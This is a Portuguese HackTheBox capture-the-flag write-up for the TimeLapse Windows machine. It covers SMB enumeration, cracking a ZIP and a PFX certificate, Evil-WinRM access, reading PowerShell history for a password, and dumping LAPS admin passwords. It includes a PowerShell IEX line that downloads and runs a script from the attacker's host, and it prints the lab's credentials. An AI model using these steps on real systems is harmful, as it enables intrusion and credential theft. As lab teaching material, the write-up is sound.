> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md).

# Writeup do HackTheBox TimeLapse

Writeup da máquina Easy Windows TimeLapse do HackTheBox cobrindo enumeração SMB, cracking de arquivo protegido por senha ZIP (fcrackzip), cracking e leitura de arquivo .PFX (crackpkcs12), acesso SSL com Evil

{% embed url="<https://app.hackthebox.com/machines/452>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração SMB
* Quebrando arquivo ZIP protegido por senha (fcrackzip)
* Quebrando e lendo arquivo .PFX (crackpkcs12)
* Obtendo acesso SSL com Evil-WinRM
* Vazamento de informações - Lendo o histórico do PowerShell do usuário (Pivotamento de usuário)
* Abusando do LAPS para obter senhas (Get-LAPSPasswords.ps1) (Escalada de privilégio)
  {% endhint %}

## Reconhecimento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.<br>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbdda04914970a13436aeb46e472010c96530cc2%2Fimage%20(2106).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0b43520a5cccdf1bff5caec2657403f7b2dae97%2Fimage%20(2107).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-035f9968d3483108fdd45ce39d7e598bb28aaad3%2Fimage%20(1615).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e9c74aa76a6969cf55fa5dab1db8f1ed8ab5e59%2Fimage%20(1616).png?alt=media" alt=""><figcaption></figcaption></figure>

**Varredura de versões de portas com Nmap :**/ Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8df1b7ceb8ed4ba9a8f56a411f56f50fac2ced54%2Fimage%20(1617).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Configuração do arquivo /etc/hosts para resolução de DNS.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b368624a0ab2302947a234edb3564954f1ef9db%2Fimage%20(1619).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Listagem e exploração:**

### Identificar o nome da máquina e o domínio

Usando o CrackMapExec para identificar o nome da máquina e seu domínio.

```bash
crackmapexec smb 10.10.11.152
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-20af1583f99d6e3bbe64c072a9eba237a86bdd01%2Fimage%20(1618).png?alt=media" alt=""><figcaption></figcaption></figure>

### Listar arquivos compartilhados com SMB:

Usando smbclient e smbmap para listar arquivos compartilhados.

```bash
smbclient -L 10.10.11.152 -N
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-376e6c6b90790267726f00c074ecba227e3daddb%2Fimage%20(1620).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.11.152 -u 'null'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64def11bf9d89c4cad5afdd1c920476e86c92d38%2Fimage%20(1621).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Acesso à pasta compartilhada e descoberta de arquivo ZIP protegido por senha**

Exploração e identificação de arquivos na pasta compartilhada, revelando um arquivo ZIP protegido.

```bash
smbclient //10.10.11.152/Shares -N
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ea61bd1e31a594d5832d1c919c71f619e1b6add%2Fimage%20(1624).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Quebra da senha do arquivo ZIP com fcrackzip**

Usando fcrackzip para tentar encontrar a senha do arquivo ZIP.

```bash
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-232c48ba68cf71adcd7b76e2e8680ac6ba4c860a%2Fimage%20(1625).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Extração do arquivo .PFX**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eb3c1c04681ff2f5fec5aabd712c51f637d67cbc%2Fimage%20(1627).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c72343083b02915714ec91f3971baad9de4be74%2Fimage%20(1628).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Quebra da senha do arquivo .PFX:**

#### Para quebrar a senha de um arquivo pfx, será usada a ferramenta crackpkcs12.

{% embed url="<https://github.com/crackpkcs12/crackpkcs12>" %}

```bash
crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b8c1ca8abc39155f45fbfb574899d44c24d22e8%2Fimage%20(1630).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Obter a chave privada e o certificado do arquivo .PFX**

Recuperação da chave privada

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3148b69e02bd1853e62a43ac3e27fddb0eedf49a%2Fimage%20(1632).png?alt=media" alt=""><figcaption></figcaption></figure>

Recuperação do certificado

```bash
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc3fe3a67201a5f17c6b4d5c3a5b2d30df971ee%2Fimage%20(1633).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Conexão SSL com Evil-WinRM usando a chave privada e o certificado**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-53377a379d295c669d34bd555ed463327ef10cfb%2Fimage%20(1634).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df8146e1a35574fa67c593e58e1c4d1ca4118ac6%2Fimage%20(1635).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Obter a primeira flag**

Obtendo a primeira flag, "user.txt"

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf25bb5164f473f836bdf0bbfa6762dffe382c33%2Fimage%20(1636).png?alt=media" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios:

**Listagem de usuários e privilégios do DC com net users e whoami /priv**

Identificação de usuários e privilégios no controlador de domínio.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b69e447987b85f7d34e7d7e22c7b174bc56947a%2Fimage%20(1637).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf9315a1d6fef959e6b053e5d472fdea8280f20%2Fimage%20(1638).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Análise dos grupos de usuários e descoberta da associação do usuário "svc/ deploy" ao grupo "LAPS/ Readers"**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d09652ff508325d5511ed785ac70ce4d370f73b%2Fimage%20(1639).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Obter a senha do usuário "svc/ deploy" lendo o histórico do PowerShell**

```bash
type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe6a4c8f1a4fe542937aa63375cf6ef8f0c580c3%2Fimage%20(1640).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Validação da senha com CrackMapExec**

Confirmação da validade da senha obtida com o CrackMapExec.

```bash
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff76bb25a159fce9188cb57fafa0a02bd7601a77%2Fimage%20(1641).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Login no Evil-WinRM usando as credenciais do usuário "svc/ deploy"**

Conectando-se ao sistema remoto usando as credenciais do usuário "svc/ deploy" com Evil-WinRM.

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S
</strong></code></pre>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10958c847e4cbb46388b67537471799c015fe8b9%2Fimage%20(1609).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Uso do Get-LAPSPasswords para extrair senhas**

{% embed url="<https://github.com/kfosaaen/Get-LAPSPasswords>" %}

#### **Baixar o script Get-LAPSPasswords**

```bash
python3 -m http.server 80
```

```bash
IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1')
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76610dd82c5370e2e9f31fe9696b0cc6d3dcfcb5%2Fimage%20(1610).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Execução do script e recuperação das senhas administrativas**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6963e1158a54e8e7757cc14a162ceb911452bfda%2Fimage%20(1611).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Validação da senha de administrador com CrackMapExec**

Confirmação da validade da senha obtida com o CrackMapExec para o usuário Administrator.

```basic
crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@'
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe7f7634f70ed9d641532adfed5e5056da90feef%2Fimage%20(1612).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Conexão final com Evil-WinRM usando as credenciais de administrador**

Conexão final ao sistema com credenciais administrativas via Evil-WinRM.

```bash
evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cf0ad4174f7bd8997d203a25bef1489e6c9d054a%2Fimage%20(1613).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Flag final obtida :)**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8017dd91a437356c6b0c4516d6864df6bb4835e%2Fimage%20(1614).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ebeffecf9aefd3e814328de37b87746b146fc71%2Fimage%20(1411).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

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